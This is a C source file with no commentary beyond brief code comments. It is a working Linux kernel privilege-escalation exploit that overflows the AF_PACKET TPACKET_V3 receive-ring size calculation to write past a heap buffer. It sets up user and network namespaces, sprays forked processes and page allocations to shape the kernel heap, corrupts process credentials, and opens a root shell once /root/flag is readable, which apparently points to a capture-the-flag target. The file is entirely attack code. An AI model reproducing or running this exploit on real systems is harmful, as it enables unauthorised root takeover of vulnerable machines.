#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <poll.h>
#include <pthread.h>

#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/resource.h>

#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>

#include <linux/xfrm.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <time.h>
#include <assert.h>

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <netinet/if_ether.h>
#include <net/if.h>

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <keyutils.h>

#include <sys/uio.h>
#include <sys/prctl.h>

#define PAGESIZE 4096

#define KMALLOC_PAD 512
#define PAGEALLOC_PAD 1024


void packet_socket_rx_ring_init(int s, unsigned int block_size,
		unsigned int frame_size, unsigned int block_nr,
		unsigned int sizeof_priv, unsigned int timeout) {
	// specify using TPACKET_V3 version cause this vulnerability
	// only impacts this verison
	int v = TPACKET_V3;
	int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
	if (rv < 0) {
		perror("[-] setsockopt(PACKET_VERSION)");
		exit(EXIT_FAILURE);
	}

	struct tpacket_req3 req;
	memset(&req, 0, sizeof(req));
	req.tp_block_size = block_size; // 0x1000
	req.tp_frame_size = frame_size;	// 0x1000
	req.tp_block_nr = block_nr; // 0x1
	req.tp_frame_nr = (block_size * block_nr) / frame_size;
	req.tp_retire_blk_tov = timeout;
	// (1u<<31) + (1u<<30) + 0x8000 - BLK_HDR_LEN - macoff + offset
	req.tp_sizeof_priv = sizeof_priv;
	req.tp_feature_req_word = 0;

	// vulnerability happens in this system call
	rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
	if (rv < 0) {
		perror("[-] setsockopt(PACKET_RX_RING)");
		exit(EXIT_FAILURE);
	}
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
		unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
	// create a AF_PACKET socket
	int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (s < 0) {
		perror("[-] socket(AF_PACKET)");
		exit(EXIT_FAILURE);
	}

	packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
		sizeof_priv, timeout);

	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_family = PF_PACKET;
	sa.sll_protocol = htons(ETH_P_ALL);
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_hatype = 0;
	sa.sll_pkttype = 0;
	sa.sll_halen = 0;

	int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
	if (rv < 0) {
		perror("[-] bind(AF_PACKET)");
		exit(EXIT_FAILURE);
	}

	return s;
}

void packet_socket_send(int s, char *buffer, int size) {
	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_halen = ETH_ALEN;

	if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
			sizeof(sa)) < 0) {
		perror("[-] sendto(SOCK_RAW)");
		exit(EXIT_FAILURE);
	}
}

void loopback_send(char *buffer, int size) {
	int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (s == -1) {
		perror("[-] socket(SOCK_RAW)");
		exit(EXIT_FAILURE);
	}

	packet_socket_send(s, buffer, size);
}

int packet_sock_kmalloc() {
	int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
	if (s == -1) {
		perror("[-] socket(SOCK_DGRAM)");
		exit(EXIT_FAILURE);
	}
	return s;
}

void packet_sock_timer_schedule(int s, int timeout) {
	packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
}

void packet_sock_id_match_trigger(int s) {
	char buffer[16];
	packet_socket_send(s, &buffer[0], sizeof(buffer));
}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

#define ALIGN(x, a)			__ALIGN_KERNEL((x), (a))
#define __ALIGN_KERNEL(x, a)		__ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define __ALIGN_KERNEL_MASK(x, mask)	(((x) + (mask)) & ~(mask))

#define V3_ALIGNMENT	(8)
#define BLK_HDR_LEN	(ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))

#define ETH_HDR_LEN	sizeof(struct ethhdr)
#define IP_HDR_LEN	sizeof(struct iphdr)
#define UDP_HDR_LEN	sizeof(struct udphdr)

#define UDP_HDR_LEN_FULL	(ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)

int oob_setup(int offset) {
	unsigned int maclen = ETH_HDR_LEN;
	unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
				(maclen < 16 ? 16 : maclen));
	unsigned int macoff = netoff - maclen;
	unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
		0x8000 - BLK_HDR_LEN - macoff + offset;
	return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}

void oob_write(char *buffer, int size) {
	loopback_send(buffer, size);
}

// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *

void kmalloc_pad(int count) {
	int i;
	for (i = 0; i < count; i++)
		packet_sock_kmalloc();
}

void pagealloc_pad(int count) {
	packet_socket_setup(0x8000, 2048, count, 0, 100);
}

bool write_file(const char* file, const char* what, ...) {
	char buf[1024];
	va_list args;
	va_start(args, what);
	vsnprintf(buf, sizeof(buf), what, args);
	va_end(args);
	buf[sizeof(buf) - 1] = 0;
	int len = strlen(buf);

	int fd = open(file, O_WRONLY | O_CLOEXEC);
	if (fd == -1)
		return false;
	if (write(fd, buf, len) != len) {
		close(fd);
		return false;
	}
	close(fd);
	return true;
}


void setup_sandbox() {
	int real_uid = getuid();
	int real_gid = getgid();

        if (unshare(CLONE_NEWUSER) != 0) {
		perror("[-] unshare(CLONE_NEWUSER)");
		exit(EXIT_FAILURE);
	}

        if (unshare(CLONE_NEWNET) != 0) {
		perror("[-] unshare(CLONE_NEWUSER)");
		exit(EXIT_FAILURE);
	}

	if (!write_file("/proc/self/setgroups", "deny")) {
		perror("[-] write_file(/proc/self/set_groups)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
		perror("[-] write_file(/proc/self/uid_map)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
		perror("[-] write_file(/proc/self/gid_map)");
		exit(EXIT_FAILURE);
	}

       	cpu_set_t my_set;
	CPU_ZERO(&my_set);
	CPU_SET(0, &my_set);
	if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
		perror("[-] sched_setaffinity()");
		exit(EXIT_FAILURE);
	}

	if (system("/sbin/ifconfig lo up") != 0) {
		perror("[-] system(/sbin/ifconfig lo up)");
		exit(EXIT_FAILURE);
	}
}


bool is_root() {
	// We can't simple check uid, since we're running inside a namespace
	// with uid set to 0. Try opening /etc/shadow instead.
	int fd = open("/root/flag", O_RDONLY);
	if (fd == -1)
		return false;
	close(fd);
	return true;
}

void spray_fork(int num){
    for (int i=0;i<num;i++){
	pid_t pid;
	pid = fork();
	if(pid == -1){
	    perror("fork");
	}
	if(pid == 0){
	    prctl(PR_SET_PDEATHSIG, SIGKILL);
	    sleep(1000);
	    while(1){
	        if( is_root() ){
		    sleep(5);
	            system("/bin/sh");
                    exit(0);
               }
	   }
	}
    }
}



void spray_cred(){
    pid_t pid;
    char buffer[0x300];
    memset(buffer,0, 0x110);
    int s = oob_setup(0x4780-0x8);
    spray_fork(3);

    pid = fork();

    if(pid == -1){
        perror("fork");
    }

    if(pid == 0){
        oob_write(buffer, 48);
	sleep(1);
	if(is_root()){
	    system("/bin/sh");
	}
	exit(0);
    }
    else{
	wait(NULL);
    
    }
    
}

int main (int argc, char **argv)
{
    printf("[.] starting\n");
    setup_sandbox();
    printf("[.] namespace sandbox set up\n");
    printf("[.] padding heap\n");

    spray_fork(0x150);
    pagealloc_pad(PAGEALLOC_PAD);
    
    spray_cred();

    while (1)
    {
        sleep(1000);
    }
    return 1;
}